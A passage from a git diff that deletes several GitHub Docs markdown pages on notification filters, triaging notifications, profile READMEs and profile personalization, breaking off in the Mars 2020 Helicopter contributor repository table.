`is:read` query. This query doesn't include notifications marked as **Done**. -| Unread | Marks notification as unread. To only view unread notifications in your inbox, use the `is:unread` query. | - -To see the available keyboard shortcuts, see [AUTOTITLE](/get-started/accessibility/keyboard-shortcuts#notifications). - -Before choosing a triage option, you can preview your notification's details first and investigate. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification). - -## Triaging multiple notifications at the same time - -To triage multiple notifications at once, select the relevant notifications and use the {% octicon "kebab-horizontal" aria-label="More options" %} drop-down to choose a triage option. - -![Screenshot of the "Notifications" page. A drop-down menu is highlighted with an orange outline.](/assets/images/help/notifications-v2/triage-multiple-notifications-together.png) - -## Default notification filters - -By default, your inbox has filters for when you are assigned, participating in a thread, requested to review a pull request, or when your username is @mentioned directly or a team you're a member of is @mentioned. - -## Customizing your inbox with custom filters - -You can add up to 15 of your own custom filters. - -{% data reusables.notifications.access_notifications %} -1. To open the filter settings, in the left sidebar, next to "Filters", click {% octicon "gear" aria-label="Customize filters" %}. - - > [!TIP] - > You can quickly preview a filter's inbox results by creating a query in your inbox view and clicking **Save**, which opens the custom filter settings. - -1. Add a name for your filter and a filter query. For example, to only see notifications for a specific repository, you can create a filter using the query `repo:octocat/open-source-project-name reason:participating`. You can also add emojis with a native emoji keyboard. For a list of supported search queries, see [Supported queries for custom filters](#supported-queries-for-custom-filters). - - ![Screenshot showing notification filters. Two input fields, with an example name and filter query filled in, are highlighted with an orange outline.](/assets/images/help/notifications-v2/custom-filter-example.png) - -1. Click **Create**. - -## Custom filter limitations - -Custom filters do not currently support: - -* Full text search in your inbox, including searching for pull request or issue titles -* Distinguishing between the `is:issue`, `is:pr`, and `is:pull-request` query filters. These queries will return both issues and pull requests. -* Creating more than 15 custom filters -* Changing the default filters or their order -* Search [exclusion](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax#exclude-certain-results) using `NOT` or `-QUALIFIER` - -## Supported queries for custom filters - -These are the types of filters that you can use: -* Filter by repository with `repo:` -* Filter by discussion type with `is:` -* Filter by notification reason with `reason:`{% ifversion fpt or ghec %} -* Filter by notification author with `author:` -* Filter by organization with `org:`{% endif %} - -### Supported `repo:` queries - -To add a `repo:` filter, you must include the owner of the repository in the query: `repo:owner/repository`. An owner is the organization or the user who owns the {% data variables.product.prodname_dotcom %} asset that triggers the notification. For example, `repo:octo-org/octo-repo` will show notifications triggered in the octo-repo repository within the octo-org organization. - -### Supported `is:` queries - -To filter notifications for specific activity on {% data variables.product.prodname_dotcom %}, you can use the `is` query. For example, to only see repository invitation updates, use `is:repository-invitation`, and to only see {% data variables.product.prodname_dependabot_alerts %}, use `is:repository-vulnerability-alert`. - -* `is:check-suite` -* `is:commit` -* `is:gist` -* `is:issue-or-pull-request` -* `is:release` -* `is:repository-invitation` -* `is:repository-vulnerability-alert`{% ifversion fpt or ghec %} -* `is:repository-advisory`{% endif %}{% ifversion team-discussions %} -* `is:team-discussion`{% endif %}{% ifversion fpt or ghec %} -* `is:discussion`{% endif %} - -For information about reducing noise from notifications for {% data variables.product.prodname_dependabot_alerts %}, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-notifications-for-dependabot-alerts). - -You can also use the `is:` query to describe how the notification was triaged. - -* `is:saved` -* `is:done` -* `is:unread` -* `is:read` - -### Supported `reason:` queries - -To filter notifications by why you've received an update, you can use the `reason:` query. For example, to see notifications when you (or a team you're on) is requested to review a pull request, use `reason:review-requested`. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications#reasons-for-receiving-notifications). - -| Query | Description | -|-----------------|-------------| -| `reason:assign` | When there's an update on an issue or pull request you've been assigned to. -| `reason:author` | When you opened a pull request or issue and there has been an update or new comment. -| `reason:comment`| When you commented on an issue{% ifversion team-discussions %}, pull request, or team discussion{% else %} or pull request{% endif %}. -| `reason:participating` | When you have commented on an issue{% ifversion team-discussions %}, pull request, or team discussion{% else %} or pull request{% endif %} or you have been @mentioned. -| `reason:invitation` | When you're invited to a team, organization, or repository. -| `reason:manual` | When you click **Subscribe** on an issue or pull request you weren't already subscribed to. -| `reason:mention` | You were directly @mentioned. -| `reason:review-requested` | You or a team you're on have been requested to review a pull request. -| `reason:security-alert` | When a security alert is issued for a repository. -| `reason:state-change` | When the state of a pull request or issue is changed. For example, an issue is closed or a pull request is merged. -| `reason:team-mention` | When a team you're a member of is @mentioned. -| `reason:ci-activity` | When a repository has a CI update, such as a new workflow run status. - -{% ifversion fpt or ghec %} - -### Supported `author:` queries - -To filter notifications by user, you can use the `author:` query. An author is the original author of the thread (issue, pull request, gist, discussions, and so on) for which you are being notified. For example, to see notifications for threads created by the Octocat user, use `author:octocat`. - -### Supported `org:` queries - -To filter notifications by organization, you can use the `org` query. The organization you need to specify in the query is the organization of the repository for which you are being notified on {% data variables.product.prodname_dotcom %}. This query is useful if you belong to several organizations, and want to see notifications for a specific organization. - -For example, to see notifications from the octo-org organization, use `org:octo-org`. - -{% endif %} - -## {% data variables.product.prodname_dependabot %} custom filters - -If you use {% data variables.product.prodname_dependabot %} to keep your dependencies up-to-date, you can use and save these custom filters: -* `is:repository_vulnerability_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %}. -* `reason:security_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %} and security update pull requests. -* `author:app/dependabot` to show notifications generated by {% data variables.product.prodname_dependabot %}. This includes {% data variables.product.prodname_dependabot_alerts %}, security update pull requests, and version update pull requests. - -For more information about {% data variables.product.prodname_dependabot %}, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). diff --git a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification.md b/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification.md deleted file mode 100644 index ac539ed2def7..000000000000 --- a/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Triaging a single notification -intro: 'When you review and investigate a single notification, you have several triaging options that are optimized for the detailed notification view.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Notifications -redirect_from: - - /github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification - - /github/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/triaging-a-single-notification -shortTitle: Triage a notification ---- -## Saving a single notification - -To save a single notification to review later, to the right of the notification, click {% octicon "bookmark" aria-label="Save" %}. You can only save one notification at a time. - -Saved notifications are kept indefinitely and can be viewed by clicking **Saved** in the sidebar or with the `is:saved` query. If your saved notification is older than 5 months and becomes unsaved, the notification will disappear from your inbox within a day. - -![Screenshot of a single notification from the "Notifications" page. The bookmark icon is highlighted with an orange outline.](/assets/images/help/notifications-v2/save-triaging-option.png) - -## Investigating a notification - -When you click an individual notification from your inbox, you're directed to the conversation that prompted the notification. From the top of the page, you can: -* Mark the individual notification as done -* Unsubscribe from future notifications -* Mark the notification as read -* Save the notification for later -* Return to your notifications inbox - -For more information about your triage options, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox#triaging-options). - -## Customizing when to receive future updates for an issue or pull request - -You can choose how you want to receive future notifications for a specific issue or pull request. - -1. In the right column of the issue or pull request, next to "Notifications", click **Customize**. - - ![Screenshot of the "Notifications" element on an issue or pull request. A link, titled "Customize", is highlighted with an orange outline.](/assets/images/help/notifications-v2/customize-notifications-for-specific-thread.png) - -1. In the dialog box, select **Custom**, then choose when you'd like to receive a notification update for this thread. For example, you can choose to receive an update when the pull request has been merged, closed, or reopened. You will be subscribed again if you participate in the thread, your username is @mentioned, or a team you're a member of is @mentioned. - -1. Click **Save**. diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md deleted file mode 100644 index 583b58b23ecb..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: About your organization's profile -intro: Your organization's profile page shows basic information about your organization. -redirect_from: - - /articles/about-your-organization-s-profile - - /articles/about-your-organizations-profile - - /github/setting-up-and-managing-your-github-profile/about-your-organizations-profile - - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profiles -shortTitle: Organization's profile ---- - -You can optionally choose to add a description, location, website, and email address for your organization, and pin important repositories. You can customize your organization's public profile by adding a `README.md` file. For more information, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile). - -{% ifversion fpt %} -Organizations that use {% data variables.product.prodname_ghe_cloud %} can confirm their organization's identity and display a "Verified" badge on their organization's profile page by verifying the organization's domains with {% data variables.product.github %}. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization) in the {% data variables.product.prodname_ghe_cloud %} documentation. -{% elsif ghec or ghes %} -To confirm your organization's identity and display a "Verified" badge on your organization profile page, you can verify your organization's domains with {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization). -{% endif %} - -![Screenshot of the profile page for the @docs organization.](/assets/images/help/profile/org-profile.png) - -## Further reading - -* [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/about-organizations) diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md deleted file mode 100644 index 83434d87afdd..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: About your profile -intro: 'Your profile page tells people the story of your work through the repositories you''re interested in, the contributions you''ve made, and the conversations you''ve had.' -redirect_from: - - /articles/viewing-your-feeds - - /articles/profile-pages - - /articles/about-your-profile - - /github/setting-up-and-managing-your-github-profile/about-your-profile - - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profiles ---- -You can add personal information about yourself in your bio, like previous places you've worked, projects you've contributed to, or interests you have that other people may like to know about. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#adding-a-bio-to-your-profile). - -{% data reusables.profile.profile-readme %} - -![Screenshot of the profile page for @octocato. In the top-right corner, a profile README greets the viewer and lists information about the user's work.](/assets/images/help/repository/profile-with-readme.png) - -People who visit your profile see a timeline of your contribution activity, like issues and pull requests you've opened, commits you've made, and pull requests you've reviewed. You can choose to display only public contributions or to also include private, anonymized contributions. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile) or [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile). - -People who visit your profile can also see the following information: - -* Repositories and gists you own or contribute to. You can showcase your best work by pinning repositories and gists to your profile. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile). -* Repositories you've starred{% ifversion fpt or ghec %} and organized into lists{% endif %}. For more information, see [AUTOTITLE](/get-started/exploring-projects-on-github/saving-repositories-with-stars). -* An overview of your activity in organizations, repositories, and teams you're most active in. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile).{% ifversion fpt or ghec %} -* Badges and Achievements that highlight your activity and show if you use {% data variables.product.prodname_pro %} or participate in programs like the {% data variables.product.prodname_arctic_vault %}, {% data variables.product.prodname_sponsors %}, or the {% data variables.product.company_short %} Developer Program. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#displaying-badges-on-your-profile).{% endif %} -{%- ifversion profile-pronouns %} -* Your pronouns if you've set them. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#adding-pronouns-to-your-profile). -{%- endif %} -{%- ifversion fpt or ghec %} -* Mutual connections you share with someone who is viewing your profile. The person viewing your profile can see which of the people they follow are also followed by you. -{%- endif %} - -You can also set a status on your profile to provide information about your availability. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#setting-a-status). - -## Further reading - -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/viewing-contributions-on-your-profile) diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/index.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/index.md deleted file mode 100644 index d5b30b53132e..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Customizing your profile -intro: You can customize your profile so that other people can get a better sense of who you are and the work you do. -redirect_from: - - /articles/customizing-your-profile - - /github/setting-up-and-managing-your-github-profile/customizing-your-profile -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profiles -children: - - /about-your-profile - - /about-your-organizations-profile - - /personalizing-your-profile - - /managing-your-profile-readme - - /pinning-items-to-your-profile - - /setting-your-profile-to-private - - /using-your-github-profile-to-enhance-your-resume ---- diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md deleted file mode 100644 index ce50dc5cf298..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Managing your profile README -intro: 'You can add a README to your {% data variables.product.prodname_dotcom %} profile to tell other people about yourself.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profiles -permissions: 'Profile READMEs are not available to {% data variables.enterprise.prodname_managed_users %}.' -redirect_from: - - /github/setting-up-and-managing-your-github-profile/managing-your-profile-readme - - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme -shortTitle: Your profile README ---- -## About your profile README - -You can share information about yourself with the community on {% data variables.product.prodname_dotcom %} by creating a profile README. {% data variables.product.prodname_dotcom %} shows your profile README at the top of your profile page. - -You decide what information to include in your profile README, so you have full control over how you present yourself on {% data variables.product.prodname_dotcom %}. Here are some examples of information that visitors may find interesting, fun, or useful in your profile README. - -* An "About me" section that describes your work and interests -* Contributions you're proud of, and context about those contributions -* Guidance for getting help in communities where you're involved - -![Screenshot of the profile page for @octocato. In the top-right corner, a profile README greets the viewer and lists information about the user's work.](/assets/images/help/repository/profile-with-readme.png) - -You can format text and include emoji, images, and GIFs in your profile README by using {% data variables.product.company_short %} Flavored Markdown. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github). For a hands-on guide to customizing your profile README, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github). - -## Prerequisites - -{% data variables.product.prodname_dotcom %} will display your profile README on your profile page if all of the following are true. - -* You've created a repository with a name that matches your {% data variables.product.prodname_dotcom %} username. -* The repository is public. -* The repository contains a file named README.md in its root. -* The README.md file contains any content. - -> [!NOTE] -> If you created a public repository with the same name as your username before July 2020, {% data variables.product.prodname_dotcom %} won't automatically show the repository's README on your profile. You can manually share the repository's README to your profile by going to the repository on {% data variables.product.prodname_dotcom %} and clicking **Share to profile**. - -## Adding a profile README - -{% data reusables.profile.create-profile-readme %} -1. Above the right sidebar, click **Edit README**. - - The generated README file is pre-populated with a template to give you some inspiration for your profile README. - -For a summary of all the available emojis and their codes, see [Emoji cheat sheet](https://www.webfx.com/tools/emoji-cheat-sheet/). - -## Removing a profile README - -The profile README will be removed from your {% data variables.product.prodname_dotcom %} profile if any of the following apply: - -* The README file is removed or made empty. -* The repository is made private. -* The repository name no longer matches your username due to a change in either or both names. - -The method you choose depends upon your needs, but if you're unsure, we recommend making your repository private. For steps on how to make your repository private, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility#changing-a-repositorys-visibility). - -## Further reading - -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes) -* [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile#adding-a-member-only-organization-profile-readme) -{%- ifversion enterprise-readme %} -* [AUTOTITLE](/admin/managing-your-enterprise-account/creating-a-readme-for-an-enterprise) -{%- endif %} diff --git a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md b/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md deleted file mode 100644 index a1eaa097b789..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md +++ /dev/null @@ -1,269 +0,0 @@ ---- -title: Personalizing your profile -intro: 'You can share information about yourself with other users by setting a profile picture and adding a bio to your profile.' -redirect_from: - - /articles/adding-a-bio-to-your-profile - - /articles/setting-your-profile-picture - - /articles/how-do-i-set-up-my-profile-picture - - /articles/gravatar-problems - - /articles/how-do-i-set-up-my-avatar - - /articles/personalizing-your-profile - - /github/setting-up-and-managing-your-github-profile/personalizing-your-profile - - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Profiles -shortTitle: Personalize ---- - -{% ifversion fpt or ghec %} -> [!NOTE] -> Any details you add to your public profile will be visible to all {% data variables.product.github %} users, including in regions where local laws, regulations, or cultural norms may pose risks to expressing your identity. We respect everyone’s decision about whether or not to share information about themselves on their {% data variables.product.github %} profile. -{% endif %} - -## Changing your profile picture - -Your profile picture helps identify you across {% data variables.product.github %} in pull requests, comments, contributions pages, and graphs. - -When you sign up for an account, {% data variables.product.github %} provides you with a randomly generated "identicon". [Your identicon](https://github.com/blog/1586-identicons) generates from a hash of your user ID, so there's no way to control its color or pattern. You can replace your identicon with an image that represents you. - -> [!NOTE] {% ifversion ghec %} -> * {% endif %}Your profile picture should be a PNG, JPG, or GIF file, and it must be less than 1 MB in size and smaller than 3000 by 3000 pixels. For the best quality rendering, we recommend keeping the image at about 500 by 500 pixels. -{% ifversion ghec %}> * Gravatar profile pictures are not supported with {% data variables.product.prodname_emus %}.{% endif %} - -If you use Gravatar, and your Gravatar image is associated with the email you use for {% data variables.product.github %}, the image will be shown as your {% data variables.product.github %} profile picture by default (rather than an identicon). To change your profile picture, you can either upload a new image to Gravatar, or upload a new image to {% data variables.product.github %} and override the Gravatar image. - -### Setting a profile picture - -{% data reusables.user-settings.access_settings %} -{% data reusables.accounts.set-profile-picture %} - -### Resetting your profile picture to the identicon - -{% data reusables.user-settings.access_settings %} -1. Under "Profile Picture", select **{% octicon "pencil" aria-hidden="true" %} Edit**, then click **Remove photo** to revert to your identicon. - - If your email address is associated with a [Gravatar](https://en.gravatar.com/), you cannot revert to your identicon. Click **Revert to Gravatar** instead. - - ![Screenshot of the "Public profile" section of a user account's settings. A button, labeled with a pencil icon and "Edit", is outlined in dark orange.](/assets/images/help/profile/edit-profile-photo.png) - -## Changing your profile name - -You can change the name that is displayed on your profile. This name may also be displayed next to comments you make on private repositories owned by an organization. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization). - -{% ifversion fpt or ghec %} - -> [!NOTE] -> If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, any changes to your profile name must be made through your identity provider instead of {% data variables.product.prodname_dotcom %}. {% data reusables.enterprise-accounts.emu-more-info-account %} - -{% endif %} - -{% data reusables.user-settings.access_settings %} -1. Under "Public profile", in the "Name" field, type the name you want to be displayed on your profile. - -## Adding a bio to your profile - -Add a bio to your profile to share information about yourself with other {% data variables.product.github %} users. With the help of [@mentions](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax) and emoji, you can include information about where you currently or have previously worked, what type of work you do, or even what kind of coffee you drink. - -For a longer-form and more prominent way of displaying customized information about yourself, you can also use a profile README. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme). - -> [!NOTE] -> If you have the activity overview section enabled for your profile and you @mention an organization you're a member of in your profile bio, then that organization will be featured first in your activity overview. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile). - -{% data reusables.user-settings.access_settings %} -1. Under "Public profile", in the "Bio" field, type the content that you want displayed on your profile. The bio field is limited to 160 characters. - - > [!TIP] - > When you @mention an organization, only those that you're a member of will autocomplete. You can still @mention organizations that you're not a member of, like a previous employer, but the organization name won't autocomplete for you. - -{% data reusables.profile.update-profile %} - -{% ifversion profile-pronouns %} - -## Adding pronouns to your profile - -Add pronouns to your public user profile to share information about yourself with other {% data variables.product.github %} users. {% data reusables.profile.pronouns-visibility %} - -{% data reusables.user-settings.access_settings %} -1. Under **Pronouns**, add the pronouns that you want displayed on your profile. You may add custom pronouns. - -{% data reusables.profile.update-profile %} - -{% endif %} - -## Setting your location and time zone - -You can set a location and time zone on your profile to show other people your local time. Your location and time zone will be visible: -* On your profile page -* When people hover over your username or avatar - -![Screenshot of the Octocat profile page emphasizing the location, local time, and relative time fields.](/assets/images/help/profile/profile-location-and-time.png) - -When you view your profile, you will see your location, local time, and your time zone in relation to Universal Time Coordinated. When others view your profile, they will see your location, local time, and the time difference in hours from their own local time. - -{% data reusables.user-settings.access_settings %} -1. Under "Public profile", in the "Location" field, type the location you want to be displayed on your profile. -1. Optionally, display the current local time on your profile. - * Select **Display current local time**. - * Select the **Time zone** dropdown menu, then click your local time zone. -{% data reusables.profile.update-profile %} - -{% ifversion profile-social-links %} - -## Adding links to your social accounts - -You can add up to four links to social accounts on your profile. These are visible to anyone who can view your profile. - -{% data reusables.user-settings.access_settings %} -1. Under "Social accounts", in a blank "Link to social profile" field, type the full URL of the social account. For example, for the `@GitHub` Twitter account, type `https://twitter.com/github`. -{% data reusables.profile.update-profile %} - -{% endif %} - -{% ifversion fpt or ghec %} - -## Adding your ORCID iD to your profile - -If you're a researcher with an ORCID iD, you can identify yourself by adding your ORCID iD to your profile. - -{% data reusables.user-settings.access_settings %} -1. Under "ORCID iD", click **Connect your ORCID iD**. -1. Follow the steps to sign in to your ORCID account and then return to {% data variables.product.prodname_dotcom %}. - -{% endif %} - -## Setting a status - -You can set a status to display information about your current availability. Your status will show: -* On your profile page -* When people hover over your username or avatar -* On a team page for a team where you're a team member. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams#team-pages). -* On the organization dashboard in an organization where you're a member. For more information, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/about-your-organization-dashboard). - -When you set your status, you can also let people know that you have limited availability. - -If you select the "Busy" option, when people @mention your username, assign you an issue or pull request, or request a pull request review from you, a note next to your username will show that you're busy. You will also be excluded from automatic review assignment for pull requests assigned to any teams you belong to. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team). - -![Screenshot of a draft comment. "@octocat" is written in the text field, and "The Octocat (busy)" is suggested.](/assets/images/help/profile/username-with-limited-availability-text.png) - -1. In the top right corner of {% data variables.product.prodname_dotcom %}, select your profile photo, then click **{% octicon "smiley" aria-hidden="true" %} Set status** or, if you already have a status set, click your current status. - - ![Screenshot of the dropdown menu under @octocat's profile picture. A smiley icon and "Set status" are outlined in dark orange.](/assets/images/help/profile/set-status-on-profile-global-nav-update.png) - -1. In the "What's happening" field, type a status message. -1. Optionally, to set an emoji status, click {% octicon "smiley" aria-label="Choose an emoji" %}, then click an emoji from the list. -1. Optionally, if you'd like to share that you have limited availability, select "Busy." -1. Select the **Clear status** dropdown menu, then click when you want your status to expire. If you don't select a status expiration, you will keep your status until you clear or edit your status. -1. Select the **Visible to** dropdown menu, then click who you want your status visible to. If you don't select an organization, your status will be public. -1. Click **Set status**. - -{% ifversion fpt or ghec %} - -## Displaying badges on your profile - -When you participate in certain programs, {% data variables.product.prodname_dotcom %} automatically displays a badge on your profile. - -| Badge | Program | Description | -| --- | --- | --- | -| {% octicon "cpu" aria-label="The Developer Program icon" %} | **Developer Program Member** | If you're a registered member of the {% data variables.product.prodname_dotcom %} Developer Program, building an app with the {% data variables.product.github %} API, you'll get a Developer Program Member badge on your profile. For more information on the {% data variables.product.prodname_dotcom %} Developer Program, see [GitHub Developer](/get-started/exploring-integrations/github-developer-program). | -| {% octicon "star-fill" aria-label="The star icon" %} | **Pro** | If you use {% data variables.product.prodname_pro %} you'll get a PRO badge on your profile. For more information about {% data variables.product.prodname_pro %}, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans#github-pro). | -| {% octicon "lock" aria-label="The lock icon" %} | **Security Bug Bounty Hunter** | If you helped out hunting down security vulnerabilities, you'll get a Security Bug Bounty Hunter badge on your profile. For more information about the {% data variables.product.prodname_dotcom %} Security program, see [{% data variables.product.prodname_dotcom %} Security](https://bounty.github.com/). | -| {% octicon "mortar-board" aria-label="The mortar-board icon" %} | **{% data variables.product.prodname_dotcom %} Campus Expert** | If you participate in the {% data variables.product.prodname_campus_program %}, you will get a {% data variables.product.prodname_dotcom %} Campus Expert badge on your profile. For more information about the Campus Experts program, see [Campus Experts](https://education.github.com/experts). | -| {% octicon "shield" aria-label="The shield icon" %} | **Security advisory credit** | If a security advisory you submit to the [{% data variables.product.prodname_dotcom %} Advisory Database](https://github.com/advisories) is accepted, you'll get a Security advisory credit badge on your profile. For more information about {% data variables.product.prodname_dotcom %} Security Advisories, see [{% data variables.product.prodname_dotcom %} Security Advisories](/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories). | - -{% endif %} - -{% ifversion fpt or ghec %} - -## Earning Achievements - -Achievements celebrate specific events and actions that happen on {% data variables.product.prodname_dotcom %}. They will appear as small badges listed in the sidebar of your profile. Clicking or hovering on an achievement will show a detailed view that hints at how the achievement was earned, with a short description and links to the contributing events. The event links will only be visible to users that have access to the repository or organization that the event took place in. Event links will appear inaccessible to all users without access. - -To stop private contributions from counting toward your Achievements, or to turn off Achievements entirely, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile). - -> [!NOTE] -> This feature is currently in {% data variables.release-phases.public_preview %} and subject to change. - -{% endif %} - -## List of qualifying repositories for Mars 2020 Helicopter Contributor achievement - -The Mars 2020 Helicopter Contributor achievement was given to those who had authored a commit for one of the repositories listed below. This event has now ended, and the badge is no longer available. We built the list based on information received from NASA's Jet Propulsion Laboratory. - -| {% data variables.product.prodname_dotcom %} Repository | Version | Tag | -|---|---|---| -| [torvalds/linux](https://github.com/torvalds/linux) | 3.4 | [v3.4](https://github.com/torvalds/linux/releases/tag/v3.4) | -| [python/cpython](https://github.com/python/cpython) | 3.9.2 | [v3.9.2](https://github.com/python/cpython/releases/tag/v3.9.2) | -| [boto/boto3](https://github.com/boto/boto3) | 1.17.17 | [1.17.17](https://github.com/boto/boto3/releases/tag/1.17.17) | -| [boto/botocore](https://github.com/boto/botocore) | 1.20.11 | [1.20.11](https://github.com/boto/botocore/releases/tag/1.20.11) | -| [certifi/python-certifi](https://github.com/certifi/python-certifi) | 2020.12.5 | [2020.12.05](https://github.com/certifi/python-certifi/releases/tag/2020.12.05) | -| [chardet/chardet](https://github.com/chardet/chardet) | 4.0.0 | [4.0.0](https://github.com/chardet/chardet/releases/tag/4.0.0) | -| [matplotlib/cycler](https://github.com/matplotlib/cycler) | 0.10.0 | [v0.10.0](https://github.com/matplotlib/cycler/releases/tag/v0.10.0) | -| [elastic/elasticsearch-py](https://github.com/elastic/elasticsearch-py) | 6.8.1 | [6.8.1](https://github.com/elastic/elasticsearch-py/releases/tag/6.8.1) | -| [ianare/exif-py](https://github.com/ianare/exif-py) | 2.3.2 | [2.3.2](https://github.com/ianare/exif-py/releases/tag/2.3.2) | -| [kjd/idna](https://github.com/kjd/idna) | 2.10 | [v2.10](https://github.com/kjd/idna/releases/tag/v2.10) | -| [jmespath/jmespath.py](https://github.com/jmespath/jmespath.py) | 0.10.0 | [0.10.0](https://github.com/jmespath/jmespath.py/releases/tag/0.10.0) | -| [nucleic/kiwi](https://github.com/nucleic/kiwi) | 1.3.1 | [1.3.1](https://github.com/nucleic/kiwi/releases/tag/1.3.1) | -| [matplotlib/matplotlib](https://github.com/matplotlib/matplotlib) | 3.3.4 | [v3.3.4](https://github.com/matplotlib/matplotlib/releases/tag/v3.3.4) | -| [numpy/numpy](https://github.com/numpy/numpy) | 1.20.1 | [v1.20.1](https://github.com/numpy/numpy/releases/tag/v1.20.1) | -| [opencv/opencv-python](https://github.com/opencv/opencv-python) | 